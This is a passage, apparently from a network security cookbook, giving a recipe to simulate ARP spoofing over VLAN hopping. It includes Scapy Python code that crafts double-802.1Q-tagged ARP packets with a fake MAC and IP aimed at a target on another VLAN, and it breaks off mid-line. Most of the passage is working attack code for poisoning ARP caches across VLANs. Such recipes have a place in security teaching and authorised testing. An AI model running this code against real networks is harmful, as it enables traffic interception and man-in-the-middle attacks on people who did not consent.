As VLANs limit broadcast traffic to the same VLAN, here we tag every packet with our VLAN tag, and an extra with the destination VLAN.
ARP spoofing over VLAN hopping
How to do it...
Here are the steps to simulate ARP spoofing attack over VLAN hopping:
- Create a new arp-spoofing-over-vlan.py file and open in your editor.
- Import modules and set variables:
import time from scapy.all import * iface = "en0" target_ip = '192.168.1.2' fake_ip = '192.168.1.3' fake_mac = 'c0:d3:de:ad:be:ef' our_vlan = 1 target_vlan = 2
- Create ARP packets with two 802.1Q tags:
ether = Ether() dot1q1 = Dot1Q(vlan=our_vlan) dot1q2 = Dot1Q(vlan=target_vlan) arp = ARP(hwsrc=fake_mac, pdst=target_ip, psrc=fake_ip...